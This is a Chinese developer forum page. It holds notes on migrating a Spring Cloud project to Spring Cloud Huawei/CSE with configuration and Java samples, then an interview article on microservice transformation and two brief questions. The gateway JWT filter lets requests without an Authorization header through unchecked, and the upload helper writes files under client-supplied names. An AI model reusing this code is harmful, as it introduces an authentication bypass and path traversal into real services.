    1.项目Gitee地址https://gitee.com/caichunfu/dtse-practice-microservice2.运行环境JDK1.8Maven3.6.3本地CSE引擎下载地址:https://support.huaweicloud.com/devg-cse/cse_devg_0036.html3.注意事项踩过的一些坑:3.1依赖导入报错需要把Maven的中央仓库地址改为华为中央仓库地址,修改setting.xml文件      <mirror>          <id>huaweicloud</id>          <mirrorOf>*,!HuaweiCloudSDK</mirrorOf>          <url>https://repo.huaweicloud.com/repository/maven/</url>     </mirror>3.2版本问题官网地址:https://github.com/huaweicloud/spring-cloud-huawei1)使用Hoxton分支,项目启动时ribbon的启动类会报错,建议使用master分支com.huaweicloud.servicecomb.discovery.ribbon.ServiceCombRibbonClientConfiguration required a bean of type 'com.netflix.client.config.IClientConfig' that could not be found.2)master分支1.8.0-2020.0.x与网关存在兼容性问题,建议使用1.6.1-2020.0.x版本3)master分支需要使用 springcloud 2020.x 的版本,这个版本移除了Netflix相关的组件,所以需要对组件进行替换3.3本次测试使用的版本   <properties>       <spring-boot.version>2.5.3</spring-boot.version>       <spring-cloud.version>2020.0.4</spring-cloud.version>       <spring-cloud-huawei.version>1.6.1-2020.0.x</spring-cloud-huawei.version>       <servicecomb.version>2.5.0</servicecomb.version>       <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>   </properties>4.引入依赖4.1父工程引入 <dependencyManagement>      <!-- configure spring cloud huawei version -->      <dependency>        <groupId>com.huaweicloud</groupId>        <artifactId>spring-cloud-huawei-bom</artifactId>        <version>${spring-cloud-huawei.version}</version>        <type>pom</type>        <scope>import</scope>      </dependency>    </dependencies>  </dependencyManagement>4.2子工程引入,并删除eureka相关依赖<dependency>  <groupId>com.huaweicloud</groupId>  <artifactId>spring-cloud-starter-huawei-service-engine</artifactId></dependency>5.创建bootstrap.yml文件spring: application:   name: #微服务名 cloud:   servicecomb:     discovery:       enabled: true       address: http://127.0.0.1:30100       appName: #应用名       serviceName: ${spring.application.name}       version: 0.0.1       healthCheckInterval: 30     config:       serverAddr: http://127.0.0.1:30110       serverType: kie6.启动类添加注解@EnableDiscoveryClient启动本地微服引擎,访问http://127.0.0.1:30103/进入微服务引擎管理界面,查看服务是否注册成功7.启动前遇到的问题7.1报错信息:could not be registered. A bean with that name has already been defined in URL ​Action:​Consider renaming one of the beans or enabling overriding by setting spring.main.allow-bean-definition-overriding=true​无法注册。URL中已经定义了一个具有该名称的bean​考虑重命名一个bean,或者通过设置Spring实现重写。主要的允许bean定义覆盖=true解决方案:yml配置文件添加配置spring: main:   allow-bean-definition-overriding: true7.2报错信息:Action:​Correct the classpath of your application so that it contains a single, compatible version of io.micrometer.core.instrument.distribution.DistributionStatisticConfig$Builder解决方案:pom.xml里面的依赖包有重复,需要将重复的依赖包删除7.3报错信息:此问题只会在使用Honxton版本时出现,建议使用master分支1.6.1-2020.0.x版本Parameter 0 of method ribbonServerList in com.huaweicloud.servicecomb.discovery.ribbon.ServiceCombRibbonClientConfiguration required a bean of type 'com.netflix.client.config.IClientConfig' that could not be found.​Action:​Consider defining a bean of type 'com.netflix.client.config.IClientConfig' in your configuration.解决方案:IClientConfig 类,这个类定义时,不能直接 return 一个没有任何属性的 DefaultClientConfigImpl 对象, openFeign 会在源码里面使用这个对象,报空指针异常,如果要自己定义,需要初始化里面该有的属性@Configurationpublic class IClientConfig {   @Bean   public DefaultClientConfigImpl iClientConfig(){           //网上很多的错误写法       //return new DefaultClientConfigImp();               //加上getClientConfigWithDefaultValues初始化参数       return DefaultClientConfigImpl.getClientConfigWithDefaultValues();   }}8.Feign远程调用使用SpringCloudHuawei做远程调用时会报错,可能兼容性存在问题为了验证问题还原了SpringCloud项目,openfeign调用不会报错报错信息:org.apache.servicecomb.service.center.client.exception.OperationException: get service instances list fails, statusCode = 400; message = Bad Request; content = {"errorCode":"400012","errorMessage":"Micro-service does not exist","detail":"Consumer[30b75156753bc55385a7ae74d0611c77fc5f7522][development/dtse-practice-microservice/dtse-system/0.0.1] find provider[development/dtse-practice-microservice/default/0+] failed, provider does not exist"}​Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is java.lang.RuntimeException: com.netflix.client.ClientException: Load balancer does not have available server for client: default解决---暂未解决:已对接后端技术专家,暂未解决,解决后会更新进度9.改为RestTemplate方式调用前端参数为MultipartFile和JSON,请求类型为POST    @PostMapping(value = "/upload", consumes = MediaType.MULTIPART_FORM_DATA_VALUE)    public String upLoadOneFile(@RequestPart("file") MultipartFile file, @RequestParam("obsParamsJson") String obsParamsJson) throws IOException {                OBSStorageParams obsParams = JSON.parseObject(obsParamsJson, OBSStorageParams.class);​        String objURL = obsService.uploadOneFile(file.getInputStream(), obsParams);        return objURL;   }RestTemplate调用代码        //请求url        String url = "http://xxxx:xxxx/xx/x";​        //构造请求头        HttpHeaders httpHeaders = new HttpHeaders();        HttpHeaders headers = httpHeaders;        headers.setContentType(MediaType.MULTIPART_FORM_DATA);​        //FileSystemResource将文件变成流以发送        File file = MultipartFileToFile.multipartFileToFile(multipartFile);        FileSystemResource fileSystemResource = new FileSystemResource(file);​        //构造请求体,使用LinkedMultiValueMap        MultiValueMap<String, Object> resultMap = new LinkedMultiValueMap<>();        resultMap.add("file", fileSystemResource);        resultMap.add("obsParamsJson", obsParamsJson);​        //HttpEntity封装整个请求报文        HttpEntity<MultiValueMap<String, Object>> httpEntity = new HttpEntity<>(resultMap, headers);​        //postForObject发送请求体        String objURL = restTemplate.postForObject(url, httpEntity, String.class);MultipartFile转File import org.springframework.web.multipart.MultipartFile; import java.io.File;import java.io.FileOutputStream;import java.io.InputStream;import java.io.OutputStream;​public class MultipartFileToFile {    /**     * MultipartFile 转 File     *     * @param file     * @throws Exception     */    public static File multipartFileToFile(MultipartFile file) throws Exception {        File toFile = null;        if (file.equals("") || file.getSize() <= 0) {            file = null;       } else {            InputStream ins = null;            ins = file.getInputStream();            toFile = new File(file.getOriginalFilename());            inputStreamToFile(ins, toFile);            ins.close();       }        return toFile;   }    //获取流文件    private static void inputStreamToFile(InputStream ins, File file) {        try {            OutputStream os = new FileOutputStream(file);            int bytesRead = 0;            byte[] buffer = new byte[8192];            while ((bytesRead = ins.read(buffer, 0, 8192)) != -1) {                os.write(buffer, 0, bytesRead);           }            os.close();            ins.close();       } catch (Exception e) {            e.printStackTrace();       }   }    /**     * 删除本地临时文件     * @param file     */    public static void delteTempFile(File file) {    if (file != null) {        File del = new File(file.toURI());        del.delete();   }}}10.网关改造官网的说明:Spring Cloud Huawei Hoxton分支只提供Spring Cloud Gateway基于Ribbon的负载均衡,及其配套的基于流量治理和灰度发布功能。 Spring Cloud Huawei master(2020.0.x版本)分支只提供Spring Cloud Gateway基于Spring Cloud LoadBalance的负载均衡, 及其配套的基于流量治理和灰度发布功能。建议Spring Cloud Gateway升级到2020.0.x版本。由于原项目使用的网关为Zuul,需要改为Spring Cloud Gateway10.1删除原项目zuul的依赖,添加springcloudgateway的依赖和springcloudhuawei提供的网关依赖<dependency>   <groupId>org.springframework.cloud</groupId>   <artifactId>spring-cloud-starter-gateway</artifactId></dependency><dependency>   <groupId>com.huaweicloud</groupId>   <artifactId>spring-cloud-starter-huawei-service-engine-gateway</artifactId></dependency>10.2添加网关配置文件spring: main:   allow-bean-definition-overriding: true cloud:   gateway:    # 路由(routes:路由,它由唯一标识(ID)、目标服务地址(uri)、一组断言(predicates)和一组过滤器组成(filters)。filters 不是必需参数。)     routes:     #路由标识(id:标识,具有唯一性)       - id: dtse-system-route        # 目标服务地址(uri:地址,请求转发后的地址)         uri: lb://dtse-system         filters:             args: # 路由条件(predicates:断言,匹配 HTTP 请求内容)         predicates:           - Path=/**urifiler: login-uri: /login10.3定义全局过滤器实现鉴权package com.huaweicloud.filter;​import com.huaweicloud.commons.outhUtils.JwtUtil;import com.huaweicloud.commons.response.ResultCode;import com.huaweicloud.config.URIFilter;import io.jsonwebtoken.Claims;import lombok.extern.slf4j.Slf4j;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.cloud.gateway.filter.GatewayFilterChain;import org.springframework.cloud.gateway.filter.GlobalFilter;import org.springframework.core.Ordered;import org.springframework.http.server.RequestPath;import org.springframework.http.server.reactive.ServerHttpRequest;import org.springframework.stereotype.Component;import org.springframework.util.StringUtils;import org.springframework.web.server.ServerWebExchange;import reactor.core.publisher.Mono;​@Component@Slf4jpublic class RouteConfiguration implements GlobalFilter, Ordered {​    @Autowired    JwtUtil jwtUtil;    @Autowired    URIFilter uriFilter;​    @Override    public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {​        ServerHttpRequest request = exchange.getRequest();        RequestPath path = request.getPath();​        // 2、登陆请求放行        if(path.value().contains(uriFilter.getLoginuri().get(0))){            System.out.println("登陆请求路经:request.getPath() = " + path.value());            log.info("登录");            return chain.filter(exchange);       }        //3、非登陆请求用户权限校验        String authorization = request.getHeaders().getFirst("Authorization");        if (!StringUtils.isEmpty((authorization))) {            System.out.println("非登陆请求路径:request.getPath() = " + path.value());            //2、获取请求头中Token信息            String token = authorization.replace("Bearer", "");​            //3、Token校验            Claims claims = jwtUtil.parseToken(token) ;​            //4、获取用户id,并将用户id传送到后端            if (claims == null) {                try {                    throw new Exception(String.valueOf(ResultCode.UNAUTHENTICATED));               } catch (Exception e) {                    e.printStackTrace();               }                return  null;           }            String id = claims.getId();​            //5、添加用户请求头            request.mutate().header("userId",id).build();            return chain.filter(exchange);       }​        return chain.filter(exchange);   }​    @Override    public int getOrder() {        return 0;   }}10.4urifiler配置类@ConfigurationProperties(prefix = "urifiler", ignoreUnknownFields = false)@Data@Componentpublic class URIFilter {   private List<String> loginuri;}11.配置中心的使用访问http://127.0.0.1:30103/进入微服务本地引擎管理界面选择配置列表,创建配置项
  • [技术干货] 【深入浅出,Paas之路】华为云MVP田晓亮:企业向微服务架构转型的几点思考
    IDC的报告曾指出,到2021年,在超过一半的全球2000强企业中,平均1/3的数字化服务交互都将来自API开放生态系统,增长势头远超其自身的API交互能力。开放的API生态系统是企业数字化平台开放重构的关键。据悉,来自 Twitter、Netflix 和 Google 等公司的广受欢迎的公共 API 平均每天调用 10 亿到50亿次,API调用量逐渐成为一个开放平台成功的关键指标,哪些技术可以驱动API快速增长?拥有12年研发经验的田晓亮给出了他的答案。田晓亮现担任华为云微服务领域首席架构师,他也是国内早期服务网格实践者,曾自研服务网格作为云服务提供给客户业务使用。且听他娓娓道企业数字化转型的关键,以及系统性开展微服务化的一些重要举措。微服务为何如此重要?这里引用Smart Bear 2020年的API报告。如上图所示,微服务技术遥遥领先,成为最关键的领域技术,是企业API经济的技术基石。排在第二的DevOps相关技术则是微服务顺利落地的关键要素和前提。而微服务本身是一种架构模式,这也侧面证明了软件架构设计的价值。一款软件大部分的生命周期都处在维护期,不断地接受新需求,不断变化演进以满足需求。软件架构设计的主要目标便是支撑软件系统的全生命周期,设计良好的架构可以让系统便于理解、易于修改、方便维护,并且能轻松部署。软件架构的终极目标就是最大化程序员的生产力,同时最小化系统的总运营成本,微服务架构恰好能完美地达成这个目标。当然,有个题外话,研发人员也不必担心效率提升自己被优化,因为杰文斯悖论在这里也适用:技术进步提高单位人力利用效率,结果是增加而不是减少企业对人力的需求。是什么阻碍了微服务的应用接下来再看报告中另一个部分,是什么阻碍一个组织应用微服务?依次为:欠缺实践经验和技巧(或者我认为是不易雇佣相关人才);现存代码改造难;工作负担太重,没人(新的需求加入管道,它可以增加营收,此时如果老架构不是业务发展的障碍,就被搁置);IT成熟度不足、流程问题、基础设施问题;没预算;还没确定业务方向;缺少团队协作;缺少工具和技术。因为缺乏上述提到的这些东西,向微服务架构模式前进的企业可谓是千疮百孔。作为云服务提供商,或许可以帮助企业解决这些问题。田晓亮讲了一个他亲身经历的故事:我曾经拜访过一家企业,他们打算让业务团队在云上买些虚拟机自己搭建基础平台,被我阻拦了下来。因为当他们的业务增长后,会遇到各种各样的平台问题,但又没有相关的人才储备。当他们用开源的软件部署,遇到的生产问题其实需要开源社区的人来解决。而这个企业并没有清晰划分职责的技术组织。从商业视角出发,非主营核心业务通过外来购买付费服务来完成更为合适。另外他们也许进入了一个**的架构设计误区,在没有确定业务能力的情况下过早的进行了技术选型,而这个工作通常是要延后处理的,平台的维护成本可能会拖垮业务开发团队。通常情况下,大企业一般会使用云厂商提供的计算、存储等资源,也有自建IaaS服务或者两者并用的,然后在laaS层之上构建PaaS服务,为公司内部的业务服务。所以大型企业会清晰地拆分业务团队与基础设施团队,田晓亮本人就曾是基础设施团队的一员。在这种情况下,基础设施团队也是微服务架构模式的忠实用户。也就是说,他们不但要支撑好平台用户的微服务,自己也应用了该模式。基于多年的微服务转型经验,田晓亮提炼了几个可以帮助企业完成微服务数字化转型的关键点。如何系统性的展开微服务化我们可以围绕软件开发的速度,系统的安全和服务质量来构建微服务相关技术底座。再结合业务的实际发展,逐步转型微服务架构,不必在业务发展初期草草决定技术细节。匹配业务所需是否选择微服务架构模式应该从业务实际需求出发,企业先明确定义业务用例和策略,在此基础上进行架构方案的选择。对于一些刚刚起步的公司,单体应用也许就能满足业务需求。一切以快为准,当单体的开发效率比微服务高时,就果断的选择单体。而随着业务的扩大,企业可以通过绞杀者模式将单体应用向微服务架构模式迁移,进行单体应用绞杀的过程也称为应用现代化的过程。据维基百科,绞杀模式的使用场景是从单体应用平滑演进到微服务,将遗留应用程序转换为现代技术和技术栈的过程,也可称之为应用程序现代化。这种模式通常针对1个遗留应用系统,适合前期野蛮成长,业务增速较快的企业。整个改造流程不需要一步到位,一点点补充新的功能进入管道,比如有的功能可以增加营收,此时如果老架构不是企业业务发展的障碍,就可以被搁置并随时重启演进。具体策略有:新功能用新的微服务实现(阻止单体水平扩展和演进)隔离表示层和后端(降解单体)将现有的功能提取到微服务或者独立为微服务(降解单体)华为云CSE,解决分布式系统治理之难从单体成为微服务之后,假如没有成熟的工具配套,一切的成本都是翻倍提升的,这也是为什么说技术没有银弹。运行时的治理就是其中一个难题。华为云CSE的设计意图就是让企业的治理成本和门槛降低,以保障业务稳定健壮的运行,提供高质量API服务。CSE微服务引擎提供了基于业务视角的流量治理功能,使用可视化界面规划流量策略,无需关心微服务系统的复杂性。企业需要的只是定义好流量特征,比如登陆操作每分钟只能允许5次。另外使用Spring Cloud编程的应用可以无缝使用云上的能力,无需额外编码。CSE还提供了RBAC认证鉴权系统,提供基于标签的细粒度资源授权功能,可以规划多个账号,赋予角色和相关权限,保证多个团队协作过程中不会误操作或者访问不该访问的数据。这套认证系**立于华为云的IAM,类似MySQL的账号系统是完全独立的,这样团队之间就可以安全共享一套微服务引擎。微服务编程框架or服务网格,业务为王在进行编程框架和服务网格(Istio)之间的技术决策前,不妨先遵循架构设计阶段一个较好的指导思想——保留可选项,即尽可能推迟技术细节的相关决策。比如先确定业务能力是什么,收集用例,再决定选关系型数据库还是非关系型数据库,亦或是两者皆用。任何一种技术的选择皆如此。如在Spring Cloud这类编程框架和服务网格之间的选型存在疑虑时,就要充分的分析企业的业务是否匹配这些技术的适用场景,是否能支撑商业成果。因为选择什么技术手段支撑,终究要回归到业务本质来。企业要对多种可彼此替代的技术进行详尽的洞察和对比,结合需要支撑的业务场景做详尽的论证来验证最适合的技术到底是什么。下边这张表格列举了微服务开发下这两种技术方案的部分特性对比,它并不代表孰优孰劣,只是告诉企业要选择对应的能力来匹配业务、支撑业务。打个比方,Istio能提供绝对的内部网络通信安全,这是它独有的能力,如果企业的业务需要这样级别的防护,那么选择Istio管理会更加方便,而Istio却有很多不关心的维度,而这些维度正式编程框架提供的能力。管理好API如果API主要给外部系统调用,最好采用顶层设计的策略。不建议把这些对外暴露的API的设计权放到各个团队手中,因为最外层的、系统平台消费者可见的API必须是定义良好,风格一致的API,并且严格控制兼容性,可以使用CloudTest对这些API编写测试用例,并且在每次部署后,都执行一遍测试用例以确保平台的行为始终一致。API是业务的门面,可以采用Spring Cloud Gateway开发框架编写对外呈现的API,框架会自动生成Open API文档并注册到CSE微服务引擎实例中,这样可以重点审视API的定义,及时进行改进,高质量的交付所有的API。从DevOps文化建设入手当企业全面推动DevOps文化,并熟练让交付团队掌握相关工具后,微服务架构思维必然会在组织里萌芽。团队需要代码库,流水线等一系列服务来打造一条高效的生产线,故此DevOps技术因为其重要性排在了关键技术第二位。如果没有DevOps的成熟建设,就不要展开架构微服务化。华为云的DevCloud是集华为研发实践、前沿研发理念、先进研发工具为一体的研发云平台,面向开发者提供研发工具服务,让软件开发简单高效当然,系统性展开微服务化并非只有技术类工作,文化理念、团队合作形式、关键成员不断学习和精进都是微服务化的关键。总结简而言之,微服务架构满足了架构设计模式中的单一职责和共同闭包原则,它是业务和商业发展成规模化后的必经之路。微服务既符合架构设计原则,也能最小化系统运营成本,支撑高效的商业活动,在激烈的竞争中起到了“润滑剂”的作用。所以,你的业务是否已经准备好应用微服务了?
  • [页面编排] adc2.0前台app服务如何直接调用后台微服务?
    【功能模块】adc2.0前台app服务如何直接调用后台微服务?【操作步骤&问题现象】1、2、【截图信息】【日志信息】(可选,上传日志内容或者附件)
  • [问题求助] 微服务日志路径的地址是啥,具体在那个节点上
    微服务日志路径的地址是啥,具体在那个节点上